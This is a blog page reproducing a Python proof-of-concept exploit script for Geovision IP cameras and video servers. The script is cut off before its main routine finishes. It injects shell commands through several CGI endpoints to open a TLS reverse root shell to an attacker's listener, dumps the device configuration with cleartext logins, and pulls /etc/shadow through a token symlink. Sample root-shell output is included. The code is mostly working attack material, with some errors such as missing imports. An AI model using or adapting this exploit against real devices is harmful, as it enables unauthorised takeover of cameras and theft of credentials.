Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    86388172

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

#!/usr/bin/env python2.7
#
# [SOF]
#
# Geovision Inc. IP Camera & Video Server Remote Command Execution PoC
# Researcher: bashis <mcw noemail eu> (November 2017)
#
###########################################################################################
#
# 1. Pop stunnel TLSv1 reverse root shell [Local listener: 'ncat -vlp <LPORT> --ssl'; Verified w/ v7.60]
# 2. Dump all settings of remote IPC with Login/Passwd in cleartext
# Using:
# - CGI: 'Usersetting.cgi' (Logged in user) < v3.12 (Very old) [Used as default]
# - CGI: 'FilterSetting.cgi' (Logged in user) < v3.12 (Very old)
# - CGI: 'PictureCatch.cgi' (Anonymous) > v3.10
# - CGI: 'JpegStream.cgi' (Anonymous) > v3.10
# 3. GeoToken PoC to login and download /etc/shadow via generated token symlink
#
# Sample reverse shell:
# $ ncat -vlp 1337 --ssl
# Ncat: Version 7.60 ( https://nmap.org/ncat )
# Ncat: Generating a temporary 1024-bit RSA key. Use --ssl-key and --ssl-cert to use a permanent one.
# Ncat: SHA-1 fingerprint: 3469 C118 43F0 043A 5168 189B 1D67 1131 4B5B 1603
# Ncat: Listening on :::1337
# Ncat: Listening on 0.0.0.0:1337
# Ncat: Connection from 192.168.57.20.
# Ncat: Connection from 192.168.57.20:16945.
# /bin/sh: can't access tty; job control turned off
# /www # id
# id
# uid=0(root) gid=0(root)
# /www # uname -a
# uname -a
# Linux IPCAM 2.6.18_pro500-davinci #1 Mon Jun 19 21:27:10 CST 2017 armv5tejl unknown
# /www # exit
# $

############################################################################################

import sys
import socket
import urllib, urllib2, httplib
import json
import hashlib
import commentjson # pip install commentjson
import xmltodict # pip install xmltodict
import select
import string
import argparse
import random
import base64
import ssl
import json
import os
import re

#from pwn import *

def split2len(s, n):
	def _f(s, n):
		while s:
			yield s[:n]
			s = s[n:]
	return list(_f(s, n))

# Ignore download of '302 Found/Location' redirections
class NoRedirection(urllib2.HTTPErrorProcessor):

	def http_response(self, request, response):
		return response
	https_response = http_response

class HTTPconnect:

	def __init__(self, host, proto, verbose, credentials, Raw, noexploit):
		self.host = host
		self.proto = proto
		self.verbose = verbose
		self.credentials = credentials
		self.Raw = Raw
		self.noexploit = False
		self.noexploit = noexploit
	
	def Send(self, uri, query_headers, query_data, ID):
		self.uri = uri
		self.query_headers = query_headers
		self.query_data = query_data
		self.ID = ID

		# Connect-timeout in seconds
		timeout = 10
		socket.setdefaulttimeout(timeout)

		url = '{}://{}{}'.format(self.proto, self.host, self.uri)

		if self.verbose:
			print "[Verbose] Sending:", url

		if self.proto == 'https':
			if hasattr(ssl, '_create_unverified_context'):
				print "[i] Creating SSL Unverified Context"
				ssl._create_default_https_context = ssl._create_unverified_context

		if self.credentials:
			Basic_Auth = self.credentials.split(':')
			if self.verbose:
				print "[Verbose] User:",Basic_Auth[0],"password:",Basic_Auth[1]
			try:
				pwd_mgr = urllib2.HTTPpasswordMgrWithDefaultDahua_realm()
				pwd_mgr.add_password(None, url, Basic_Auth[0], Basic_Auth[1])
				auth_handler = urllib2.HTTPBasicAuthHandler(pwd_mgr)
				if verbose:
					http_logger = urllib2.HTTPHandler(debuglevel = 1) # HTTPSHandler... for HTTPS
					opener = urllib2.build_opener(auth_handler,NoRedirection,http_logger)
				else:
					opener = urllib2.build_opener(auth_handler,NoRedirection)
				urllib2.install_opener(opener)
			except Exception as e:
				print "[!] Basic Auth Error:",e
				sys.exit(1)
		else:
			# Don't follow redirects!
			if verbose:
				http_logger = urllib2.HTTPHandler(debuglevel = 1)
				opener = urllib2.build_opener(http_logger,NoRedirection)
				urllib2.install_opener(opener)
			else:
				NoRedir = urllib2.build_opener(NoRedirection)
				urllib2.install_opener(NoRedir)


		if self.noexploit and not self.verbose:
			print "[<] 204 Not Sending!"
			html =  "Not sending any data"
			return html
		else:
			if self.query_data:
				req = urllib2.Request(url, data=urllib.urlencode(self.query_data,doseq=True), headers=self.query_headers)
				if self.ID:
					Cookie = 'CLIENT_ID={}'.format(self.ID)
					req.add_header('Cookie', Cookie)
			else:
				req = urllib2.Request(url, None, headers=self.query_headers)
				if self.ID:
					Cookie = 'CLIENT_ID={}'.format(self.ID)
					req.add_header('Cookie', Cookie)
			rsp = urllib2.urlopen(req)
			if rsp:
				print "[<] {}".format(rsp.code)

		if self.Raw:
			return rsp
		else:
			html = rsp.read()
			return html



#
# Validate correctness of HOST, IP and PORT
#
class Validate:

	def __init__(self,verbose):
		self.verbose = verbose

	# Check if IP is valid
	def CheckIP(self,IP):
		self.IP = IP

		ip = self.IP.split('.')
		if len(ip) != 4:
			return False
		for tmp in ip:
			if not tmp.isdigit():
				return False
			i = int(tmp)
			if i < 0 or i > 255:
				return False
		return True

	# Check if PORT is valid
	def Port(self,PORT):
		self.PORT = PORT

		if int(self.PORT) < 1 or int(self.PORT) > 65535:
			return False
		else:
			return True

	# Check if HOST is valid
	def Host(self,HOST):
		self.HOST = HOST

		try:
			# Check valid IP
			socket.inet_aton(self.HOST) # Will generate exeption if we try with DNS or invalid IP
			# Now we check if it is correct typed IP
			if self.CheckIP(self.HOST):
				return self.HOST
			else:
				return False
		except socket.error as e:
			# Else check valid DNS name, and use the IP address
			try:
				self.HOST = socket.gethostbyname(self.HOST)
				return self.HOST
			except socket.error as e:
				return False



class Geovision:

	def __init__(self, rhost, proto, verbose, credentials, raw_request, noexploit, headers, SessionID):
		self.rhost = rhost
		self.proto = proto
		self.verbose = verbose
		self.credentials = credentials
		self.raw_request = raw_request
		self.noexploit = noexploit
		self.headers = headers
		self.SessionID = SessionID


	def Login(self):

		try:

			print "[>] Requesting keys from remote"
			URI = '/ssi.cgi/Login.htm'
			response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.raw_request,self.noexploit).Send(URI,self.headers,None,None)
			response = response.read()[:1500]
			response = re.split('[()<>?"\n_&;/ ]',response)
	#		print response

		except Exception as e:
			print "[!] Can't access remote host... ({})".format(e)
			sys.exit(1)

		try:
			#
			# Geovision way to have MD5 random Login and Password
			#
			CC1 = ''
			CC2 = ''
			for check in range(0,len(response)):
				if response[check] == 'cc1=':
					CC1 = response[check+1]
					print "[i] Random key CC1: {}".format(response[check+1])
				elif response[check] == 'cc2=':
					CC2 = response[check+1]
					print "[i] Random key CC2: {}".format(response[check+1])
				"""
				#
				# Less interesting to know, but leave it here anyway.
				#
				# If the remote server has enabled guest view, these below will not be '0'
				elif response[check] == 'GuestIdentify':
					print "[i] GuestIdentify: {}".format(response[check+2])
				elif response[check] == 'uid':
					if response[check+2]:
						print "[i] uid: {}".format(response[check+2])
					else:
						print "[i] uid: {}".format(response[check+3])
				elif response[check] == 'pid':
					if response[check+2]:
						print "[i] pid: {}".format(response[check+2])
					else:
						print "[i] pid: {}".format(response[check+3])
				"""

			if not CC1 and not CC2:
				print "[!] CC1 and CC2 missing!"
				print "[!] Cannot generate MD5, exiting.."
				sys.exit(0)

			#
			# Geovision MD5 Format
			#
			uMD5 = hashlib.md5(CC1 + username + CC2).hexdigest().upper()
			pMD5 = hashlib.md5(CC2 + password + CC1).hexdigest().upper()
	#		print "[i] User MD5: {}".format(uMD5)
	#		print "[i] Pass MD5: {}".format(pMD5)


			self.query_args = {
				"username":"",
				"password":"",
				"Apply":"Apply",
				"umd5":uMD5,
				"pmd5":pMD5,
				"browser":1,
				"is_check_OCX_OK":0
				}

			print "[>] Logging in"
			URI = '/LoginPC.cgi'
			response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.raw_request,self.noexploit).Send(URI,self.headers,self.query_args,self.SessionID)
	#		print response.info()

			# if we don't get 'Set-Cookie' back from the server, the Login has failed
			if not (response.info().get('Set-Cookie')):
				print "[!] Login Failed!"
				sys.exit(1)
			if verbose:
				print "Cookie: {}".format(response.info().get('Set-Cookie'))

			return response.info().get('Set-Cookie')

		except Exception as e:
			print "[i] What happen? ({})".format(e)
			exit(0)


	def DeviceInfo(self):

		try:
			URI = '/PSIA/System/deviceInfo'
			response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,False,self.noexploit).Send(URI,self.headers,None,None)
			deviceinfo = xmltodict.parse(response)
			print "[i] Remote target: {} ({})".format(deviceinfo['DeviceInfo']['model'],deviceinfo['DeviceInfo']['firmwareVersion'])
			return True

		except Exception as e:
			print "[i] Info about remote target failed ({})".format(e)
			return False


	def UserSetting(self,DumpSettings):
		self.DumpSettings = DumpSettings

		if self.DumpSettings:
			print "[i] Dump Config of remote"
			SH_CMD = '`echo "<!--#include file="SYS_CFG"-->" >/var/www/tmp/Login.htm`'
		else:

			print "[i] Launching TLSv1 privacy reverse shell"
			self.headers = {
				'Connection': 'close',
				'Accept-Language'	:	'en-US,en;q=0.8',
				'Cache-Control'	:	'max-age=0',
				'User-Agent':'Mozilla',
				'Accept':'client=yes\\x0apty=yes\\x0asslVersion=TLSv1\\x0aexec=/bin/sh\\x0a'
				}
			SH_CMD = ';echo -en \"$HTTP_ACCEPT connect=LHOST:LPORT\"|stunnel -fd 0;'
			SH_CMD = SH_CMD.replace("LHOST",lhost)
			SH_CMD = SH_CMD.replace("LPORT",lport)

		print "[>] Pwning Usersetting.cgi"
		self.query_args = {
			"umd5":SH_CMD,
			"pmd5":"GEOVISION",
			"nmd5":"PWNED",
			"cnt5":"",
			"username":"",
			"passwordOld":"",
			"passwordNew":"",
			"passwordRetype":"",
			"btnSubmitAdmin":"1",
			"submit":"Apply"
			}
		try:
			URI = '/UserSetting.cgi'
			response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.raw_request,self.noexploit).Send(URI,self.headers,self.query_args,self.SessionID)
			if DumpSettings:
				print "[i] Dumping"
				URI = '/ssi.cgi/tmp/Login.htm'
				response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,False,self.noexploit).Send(URI,self.headers,None,self.SessionID)
				print response
				return True

		except Exception as e:
			if str(e) == "timed out" or str(e) == "('The read operation timed out',)":
				print "[!] Enjoy the shell... ({})".format(e)
				return True


	def PictureCatch(self,DumpSettings):
		self.DumpSettings = DumpSettings

		if self.DumpSettings:
			print "[i] Dump Config of remote"
			SH_CMD = '`echo "<!--#include file="SYS_CFG"-->" >/var/www/tmp/Login.htm`'
		else:

			print "[i] Launching TLSv1 privacy reverse shell"
			self.headers = {
				'Connection': 'close',
				'Accept-Language'	:	'en-US,en;q=0.8',
				'Cache-Control'	:	'max-age=0',
				'User-Agent':'Mozilla',
				'Accept':'client=yes\\x0apty=yes\\x0asslVersion=TLSv1\\x0aexec=/bin/sh\\x0a'
				}
			SH_CMD = ';echo -en \"$HTTP_ACCEPT connect=LHOST:LPORT\"|stunnel -fd 0;'
			SH_CMD = SH_CMD.replace("LHOST",lhost)
			SH_CMD = SH_CMD.replace("LPORT",lport)

		print "[>] Pwning PictureCatch.cgi"
		self.query_args = {
			"username":SH_CMD,
			"password":"GEOVISION",
			"attachment":"1",
			"channel":"1",
			"secret":"1",
			"key":"PWNED"
			}

		try:
			URI = '/PictureCatch.cgi'
			response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.raw_request,self.noexploit).Send(URI,self.headers,self.query_args,self.SessionID)
			if DumpSettings:
				print "[i] Dumping"
				URI = '/ssi.cgi/tmp/Login.htm'
				response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,False,self.noexploit).Send(URI,self.headers,None,self.SessionID)
				print response
				return True
		except Exception as e:
			if str(e) == "timed out" or str(e) == "('The read operation timed out',)":
				print "[!] Enjoy the shell... ({})".format(e)
				return True


	def JpegStream(self,DumpSettings):
		self.DumpSettings = DumpSettings

		if self.DumpSettings:
			print "[i] Dump Config of remote"
			SH_CMD = '`echo "<!--#include file="SYS_CFG"-->" >/var/www/tmp/Login.htm`'
		else:

			print "[i] Launching TLSv1 privacy reverse shell"
			self.headers = {
				'Connection': 'close',
				'Accept-Language'	:	'en-US,en;q=0.8',
				'Cache-Control'	:	'max-age=0',
				'User-Agent':'Mozilla',
				'Accept':'client=yes\\x0apty=yes\\x0asslVersion=TLSv1\\x0aexec=/bin/sh\\x0a'
				}
			SH_CMD = ';echo -en \"$HTTP_ACCEPT connect=LHOST:LPORT\"|stunnel -fd 0;'
			SH_CMD = SH_CMD.replace("LHOST",lhost)
			SH_CMD = SH_CMD.replace("LPORT",lport)

		print "[>] Pwning JpegStream.cgi"
		self.query_args = {
			"username":SH_CMD,
			"password":"GEOVISION",
			"attachment":"1",
			"channel":"1",
			"secret":"1",
			"key":"PWNED"
			}

		try:
			URI = '/JpegStream.cgi'
			response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.raw_request,self.noexploit).Send(URI,self.headers,self.query_args,self.SessionID)
			if DumpSettings:
				print "[i] Dumping"
				URI = '/ssi.cgi/tmp/Login.htm'
				response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,False,self.noexploit).Send(URI,self.headers,None,self.SessionID)
				print response
				return True
		except Exception as e:
			if str(e) == "timed out" or str(e) == "('The read operation timed out',)":
				print "[!] Enjoy the shell... ({})".format(e)
				return True

#
# Interesting example of bad code and insufficent sanitation of user input.
# ';' is filtered in v3.12, and when found in the packet, the packet is simply ignored.
#
# Later in the chain the Geovision code will write provided userinput to flash, we may overwrite unwanted flash area if we playing to much here.
# So, we are limited to 31 char per line (32 MUST BE NULL), to play safe game with this bug.
#
# v3.10->3.12 changed how to handle ipfilter
# From:
# User input to system() call in FilterSetting.cgi to set iptable rules and then save them in flash
# To:
# User input transferred from 'FilterSetting.cgi' to flash (/dev/mtd11), and when the tickbox to activate the filter rules,
# '/usr/local/bin/geobox-iptables-reload' is triggered to read these rules from flash and '/usr/local/bin/iptables' via 'geo_net_filter_table_add'
# with system() call in 'libgeo_net.so'
# 

# Should end up into;
# 23835 root        576 S   sh -c /usr/local/bin/iptables -A INPUT  -s `/usr/loca...[trunkated]
# 23836 root       2428 S   /usr/local/bin/stunnel /tmp/x
# 23837 root        824 S   /bin/sh


	def FilterSetting(self):

		try:
			print "[>] Pwning FilterSetting.cgi"
			#
			# ';' will be treated by the code as LF
			# 
			# Let's use some TLSv1 privacy for the reverse shell 
			#
			SH_CMD = 'client=yes;connect=LHOST:LPORT;exec=/bin/sh;pty=yes;sslVersion=TLSv1'
			#
			SH_CMD = SH_CMD.replace("LHOST",lhost)
			SH_CMD = SH_CMD.replace("LPORT",lport)
			ShDict = SH_CMD.split(';')

			MAX_SIZE = 31 # Max Size of the strings to generate
			LF = 0
			LINE = 0
			CMD = {}
			CMD_NO_LF = "`echo -n \"TMP\">>/tmp/x`"
			CMD_DO_LF = "`echo \"TMP\">>/tmp/x`"
			SIZE = MAX_SIZE-(len(CMD_NO_LF)-3) # Size of availible space for our input in 'SH_CMD'

			# Remove, just in case
			CMD[LINE] = "`rm -f /tmp/x`"

			URI = '/FilterSetting.cgi'
			#
			# This loop will make the correct aligment of user input
			#
			for cmd in range(0,len(ShDict)):
				CMD_LF = math.ceil(float(len(ShDict[cmd])) / SIZE)
				cmd_split = split2len(ShDict[cmd], SIZE)
				for CMD_LEN in range(0,len(cmd_split)):
					LINE += 1
					LF += 1
					if (len(cmd_split[CMD_LEN]) > SIZE-1) and (CMD_LF != LF):
						CMD[LINE] = CMD_NO_LF.replace("TMP",cmd_split[CMD_LEN])
					else:
						CMD[LINE] = CMD_DO_LF.replace("TMP",cmd_split[CMD_LEN])
						LF = 0
					if verbose:
						print "Len: {} {}".format(len(CMD[LINE]),CMD[LINE])

			# Add two more commands to execute stunnel and remove /tmp/x
			CMD[LINE+1] = "`/usr/local/bin/stunnel /tmp/x`" # 31 char, no /usr/local/bin in $PATH
			CMD[LINE+2] = "`rm -f /tmp/x`" # Some bug here, think it is timing as below working
			CMD[LINE+3] = "`rm -f /tmp/x`" # Working, this is only one more add/enable/disable/remove loop
#
# Below while() loop will create following /tmp/x, execute 'stunnel' and remove /tmp/x
#
# client=yes
# connect=<LHOST>:<LPORT>
# exec=/bin/sh
# pty=yes
# sslVersion=TLSv1
#

			NEW_IP_FILTER = 1 # > v3.12
			CMD_LEN = 0
			who = 0
			# Clean up to make room, just in case
			for Remove in range(0,4):
				print "[>] Cleaning ipfilter entry: {}".format(Remove+1)
				self.query_args = {
					"bPolicy":"0",		# 1 = Enable, 0 = Disable
					"Delete":"Remove",	# Remove entry
					"szIpAddr":"",
					"byOpId":"0",		# 0 = Allow, 1 = Deny
					"dwSelIndex":"0",
					}
				response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.raw_request,self.noexploit).Send(URI,self.headers,self.query_args,self.SessionID)

			while True:
				if who == len(CMD):
					break
				if CMD_LEN < 4:

					print "[>] Sending: {} ({})".format(CMD[who],len(CMD[who]))
					self.query_args = {
						"szIpAddr":CMD[who], # 31 char limit
						"byOpId":"0", # 0 = Allow, 1 = Deny
						"dwSelIndex":"0", # Seems not to be in use
						"Add":"Apply"
						}
					response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,False,self.noexploit).Send(URI,self.headers,self.query_args,self.SessionID)
					response = re.split('[()<>?"\n_&;/ ]',response)
					print response
					if NEW_IP_FILTER:
						for cnt in range(0,len(response)):
							if response[cnt] == 'iptables':
								NEW_IP_FILTER = 0
								print "[i] Remote don't need Enable/Disable"
								break
					CMD_LEN += 1
					who += 1
					time.sleep(2) # Seems to be too fast without
				# NEW Way
				elif NEW_IP_FILTER:
					print "[>] Enabling ipfilter"
					self.query_args = {
						"bPolicy":"1", # 1 = Enable, 0 = Disable
						"szIpAddr":"",
						"byOpId":"0", # 0 = Allow, 1 = Deny
						"dwSelIndex":"0",
						}

					response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.raw_request,self.noexploit).Send(URI,self.headers,self.query_args,self.SessionID)

					print "[i] Sleeping..."
					time.sleep(5)

					print "[>] Disabling ipfilter"
					self.query_args = {
						"szIpAddr":"",
						"byOpId":"0",
						"dwSelIndex":"0",
						}
					response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.raw_request,self.noexploit).Send(URI,self.headers,self.query_args,self.SessionID)

					for Remove in range(0,4):
						print "[>] Deleting ipfilter Entry: {}".format(Remove+1)
						self.query_args = {
							"bPolicy":"0", # 1 = Enable, 0 = Disable
							"Delete":"Remove",
							"szIpAddr":"",
							"byOpId":"0",
							"dwSelIndex":"0",
							}
						response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.raw_request,self.noexploit).Send(URI,self.headers,self.query_args,self.SessionID)
					CMD_LEN = 0
				# OLD Way
				else:
					for Remove in range(0,4):
						print "[>] Deleting ipfilter Entry: {}".format(Remove+1)
						self.query_args = {
							"bPolicy":"0", # 1 = Enable, 0 = Disable
							"Delete":"Remove",
							"szIpAddr":"",
							"byOpId":"0",
							"dwSelIndex":"0",
							}
						response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.raw_request,self.noexploit).Send(URI,self.headers,self.query_args,self.SessionID)
					CMD_LEN = 0

			if NEW_IP_FILTER:
				print "[i] Last sending"
				print "[>] Enabling ipfilter"
				self.query_args = {
					"bPolicy":"1", # 1 = Enable, 0 = Disable
					"szIpAddr":"",
					"byOpId":"0", # 0 = Allow, 1 = Deny
					"dwSelIndex":"0",
					}

				response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.raw_request,self.noexploit).Send(URI,self.headers,self.query_args,self.SessionID)

				print "[i] Sleeping..."
				time.sleep(5)

				print "[>] Disabling ipfilter"
				self.query_args = {
					"szIpAddr":"",
					"byOpId":"0",
					"dwSelIndex":"0",
					}
				response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.raw_request,self.noexploit).Send(URI,self.headers,self.query_args,self.SessionID)

				for Remove in range(0,4):
					print "[>] Deleting ipfilter Entry: {}".format(Remove+1)
					self.query_args = {
						"bPolicy":"0", # 1 = Enable, 0 = Disable
						"Delete":"Remove",
						"szIpAddr":"",
						"byOpId":"0",
						"dwSelIndex":"0",
						}
					response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.raw_request,self.noexploit).Send(URI,self.headers,self.query_args,self.SessionID)
			
			print "[!] Enjoy the shell... "

			return True

		except Exception as e:

			if not NEW_IP_FILTER:
				print "[i] Last sending"
				for Remove in range(0,4):
					print "[>] Deleting ipfilter Entry: {}".format(Remove+1)
					self.query_args = {
						"bPolicy":"0", # 1 = Enable, 0 = Disable
						"Delete":"Remove",
						"szIpAddr":"",
						"byOpId":"0",
						"dwSelIndex":"0",
						}
					response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.raw_request,self.noexploit).Send(URI,self.headers,self.query_args,self.SessionID)
				print "[!] Enjoy the shell... "
				return True

			print "[!] Hmm... {}".format(e)
			print response.read()
			return True


	def GeoToken(self):

		print "[i] GeoToken PoC to login and download /etc/shadow via token symlink"
		print "[!] You must have valid login and password to generate the symlink"
		try:

#########################################################################################
# This is how to list remote *.wav and *.avi files in /storage.

			"""
			print "[>] Requesting token1"
			URI = '/BKCmdToken.php'
			response = HTTPconnect(rhost,proto,verbose,credentials,raw_request,noexploit).Send(URI,headers,None,None)
			result = json.load(response)
			if verbose:
				print json.dumps(result,sort_keys=True,indent=4, separators=(',', ': '))

			print "[i] Request OK?: {}".format(result['success'])
			if not result['success']:
				sys.exit(1)
			token1 = result['token']

#
# SAMPLE OUTPUT
#
#{
#    "success": true,
#    "token": "6fe1a7c1f34431acc7eaecba646b7caf"
#}
#
			# Generate correct MD5 token2
			token2 = hashlib.md5(hashlib.md5(token1 + 'gEo').hexdigest() + 'vIsIon').hexdigest()
			query_args = {
				"token1":token1,
				"token2":token2
				}

			print "[>] List files"
			URI = '/BKFileList.php'
			response = HTTPconnect(rhost,proto,verbose,credentials,raw_request,noexploit).Send(URI,headers,query_args,None)
			result = json.load(response)
			if verbose:
				print json.dumps(result,sort_keys=True,indent=4, separators=(',', ': '))

			for who in result.keys():
				print len(who)
#
# SAMPLE OUTPUT
#
#{
#    "files": [
#        {
#            "file_size": "2904170",
#            "filename": "event20171105104946001.avi",
#            "remote_path": "/storage/hd11-1/GV-MFD1501-0a99a9/cam01/2017/11/05"
#        },
#        {}
#    ]
#}
#########################################################################################
			"""

			# Request remote MD5 token1
			print "[>] Requesting token1"
			URI = '/BKCmdToken.php'
			response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.raw_request,self.noexploit).Send(URI,self.headers,None,None)
			result = json.load(response)
			if verbose:
				print json.dumps(result,sort_keys=True,indent=4, separators=(',', ': '))

			print "[i] Request OK?: {}".format(result['success'])
			if not result['success']:
				return False
			token1 = result['token']
#
# SAMPLE OUTPUT 
#{
#    "success": true,
#    "token": "6fe1a7c1f34431acc7eaecba646b7caf"
#}
#
			#
			# Generate correct MD5 token2
			#
			# MD5 Format: <login>:<token1>:<password>
			#
			token2 = hashlib.md5(username + ':' + token1 + ':' + password).hexdigest() 

			#
			# symlink this file for us
			#
			filename = '/etc/shadow'

			self.query_args = {
				"token1":token1,
				"token2":token2,
				"filename":filename
				}

			print "[>] Requesting download file link"
			URI = '/BKDownloadLink.cgi'
			response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.raw_request,self.noexploit).Send(URI,self.headers,self.query_args,None)
			response = response.read()#[:900]
			response = response.replace("'", "\"")
			result = json.loads(response)
			print "[i] Request OK?: {}".format(result['success'])
			if not result['success']:
				return False
			if verbose:
				print json.dumps(result,sort_keys=True,indent=4, separators=(',', ': '))


#
# SAMPLE OUTPUT
#
#{
#    "dl_folder": "/tmp",
#    "dl_token": "C71689493825787.dltoken",
#    "err_code": 0,
#    "success": true
#}
#

			URI = '/ssi.cgi' + result['dl_folder'] + '/' + result['dl_token']

			print "[>] downloading ({}) with ({})".format(filename,URI)
			response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.raw_request,self.noexploit).Send(URI,self.headers,self.query_args,None)
			response = response.read()
			print response
			return True

		except Exception as e:
			print "[i] GEO Token fail ({})".format(e)
			return False


if __name__ == '__main__':

#
# Help, info and pre-defined values
#	
	INFO =  '[Geovision Inc. IPC/IPV RCE PoCs (2017 bashis <mcw noemail eu>)]\n'
	HTTP = "http"
	HTTPS = "https"
	proto = HTTP
	verbose = False
	noexploit = False
	raw_request = True
	rhost = '192.168.57.20'	# Default Remote HOST
	rport = '80'			# Default Remote PORT
	lhost = '192.168.57.1'	# Default Local HOST
	lport = '1337'		# Default Local PORT
#	creds = 'root:pass'
	credentials = False

#
# Geovision stuff
#
	SessionID =  str(int(random.random() * 100000))
	DumpSettings = False
	deviceinfo = False
	GEOtoken = False
	anonymous = False
	filtersetting = False
	usersetting = False
	jpegstream = False
	picturecatch = False
	# Geovision default
	username = 'admin'
	password = 'admin'

#  
# Try to parse all arguments
#
	try:
		arg_parser = argparse.ArgumentParser(
		prog=sys.argv[0],
				description=('[*] '+ INFO +' [*]'))
		arg_parser.add_argument('--rhost', required=True, help='Remote Target Address (IP/FQDN) [Default: '+ rhost +']')
		arg_parser.add_argument('--rport', required=True, help='Remote Target HTTP/HTTPS Port [Default: '+ rport +']')
		arg_parser.add_argument('--lhost', required=False, help='Connect Back Address (IP/FQDN) [Default: '+ lhost +']')
		arg_parser.add_argument('--lport', required=False, help='Connect Back Port [Default: '+ lport + ']')
		arg_parser.add_argument('--autoip', required=False, default=False, action='store_true', help='Detect External Connect Back IP [Default: False]')

		arg_parser.add_argument('--deviceinfo', required=False, default=False, action='store_true', help='Request model and firmware version')

		arg_parser.add_argument('-g','--geotoken', required=False, default=False, action='store_true', help='Try retrieve /etc/shadow with geotoken')
		arg_parser.add_argument('-a','--anonymous', required=False, default=False, action='store_true', help='Try pwning as anonymous')
		arg_parser.add_argument('-f','--filtersetting', required=False, default=False, action='store_true', help='Try pwning with FilterSetting.cgi')
		arg_parser.add_argument('-p','--picturecatch', required=False, default=False, action='store_true', help='Try pwning with PictureCatch.cgi')
		arg_parser.add_argument('-j','--jpegstream', required=False, default=False, action='store_true', help='Try pwning with JpegStream.cgi')
		arg_parser.add_argument('-u','--usersetting', required=False, default=False, action='store_true', help='Try pwning with UserSetting.cgi')
		arg_parser.add_argument('-d','--dump', required=False, default=False, action='store_true', help='Try pwning remote config')


		arg_parser.add_argument('--username', required=False, help='Username [Default: '+ username +']')
		arg_parser.add_argument('--password', required=False, help='password [Default: '+ password +']')
		if credentials:
			arg_parser.add_argument('--auth', required=False, help='Basic Authentication [Default: '+ credentials + ']')
		arg_parser.add_argument('--https', required=False, default=False, action='store_true', help='Use HTTPS for remote connection [Default: HTTP]')
		arg_parser.add_argument('-v','--verbose', required=False, default=False, action='store_true', help='Verbose mode [Default: False]')
		arg_parser.add_argument('--noexploit', required=False, default=False, action='store_true', help='Simple testmode; With --verbose testing all code without exploiting [Default: False]')
		args = arg_parser.parse_args()
	except Exception as e:
		print INFO,"\nError: {}\n".format(str(e))
		sys.exit(1)

	print "\n[*]",INFO

	if args.verbose:
		verbose = args.verbose
#
# Check validity, update if needed, of provided options
#
	if args.https:
		proto = HTTPS
		if not args.rport:
			rport = '443'

	if credentials and args.auth:
		credentials = args.auth

	if args.geotoken:
		GEOtoken = args.geotoken

	if args.anonymous:
		anonymous = True

	if args.deviceinfo:
		deviceinfo = True

	if args.dump:
		DumpSettings = True

	if args.filtersetting:
		FilterSetting = True

	if args.usersetting:
		usersetting = True

	if args.jpegstream:
		jpegstream = True

	if args.picturecatch:
		picturecatch = True

	if args.username:
		username = args.username

	if args.password:
		password = args.password

	if args.noexploit:
		noexploit = args.noexploit

	if args.rport:
		rport = args.rport

	if args.rhost:
		rhost = args.rhost
		IP = args.rhost

	if args.lport:
		lport = args.lport

	if args.lhost:
		lhost = args.lhost
	elif args.autoip:
		# HTTP check of our external IP
		try:

			headers = {
				'Connection': 'close',
				'Accept'	:	'gzip, deflate',
				'Accept-Language'	:	'en-US,en;q=0.8',
				'Cache-Control'	:	'max-age=0',
				'User-Agent':'Mozilla'
				}

			print "[>] Trying to find out my external IP"
			lhost = HTTPconnect("whatismyip.akamai.com",proto,verbose,credentials,False,noexploit).Send("/",headers,None,None)
			if verbose:
				print "[Verbose] Detected my external IP:",lhost
		except Exception as e:
			print "[<] ",e
			sys.exit(1)

	# Check if RPORT is valid
	if not Validate(verbose).Port(rport):
		print "[!] Invalid RPORT - Choose between 1 and 65535"
		sys.exit(1)

	# Check if RHOST is valid IP or FQDN, get IP back
	rhost = Validate(verbose).Host(rhost)
	if not rhost:
		print "[!] Invalid RHOST"
		sys.exit(1)

	# Check if LHOST is valid IP or FQDN, get IP back
	lhost = Validate(verbose).Host(lhost)
	if not lhost:
		print "[!] Invalid LHOST"
		sys.exit(1)

	# Check if RHOST is valid IP or FQDN, get IP back
	rhost = Validate(verbose).Host(rhost)
	if not rhost:
		print "[!] Invalid RHOST"
		sys.exit(1)


#
# Validation done, start print out stuff to the user
#
	if args.https:
		print "[i] HTTPS / SSL Mode Selected"
	print "[i] Remote target IP:",rhost
	print "[i] Remote target PORT:",rport
	if not args.geotoken and not args.dump and not args.deviceinfo:
		print "[i] Connect back IP:",lhost
		print "[i] Connect back PORT:",lport

	rhost = rhost + ':' + rport


	headers = {
		'Connection': 'close',
		'Content-Type'	:	'application/x-www-form-urlencoded',
		'Accept'	:	'gzip, deflate',
		'Accept-Language'	:	'en-US,en;q=0.8',
		'Cache-Control'	:	'max-age=0',
		'User-Agent':'Mozilla'
		}

	# Print Model and Firmware version
	Geovision(rhost,proto,verbose,credentials,raw_request,noexploit,headers,SessionID).DeviceInfo()
	if deviceinfo:
		sys.exit(0)


	# Geovision token login within the function
	#
	if GEOtoken:
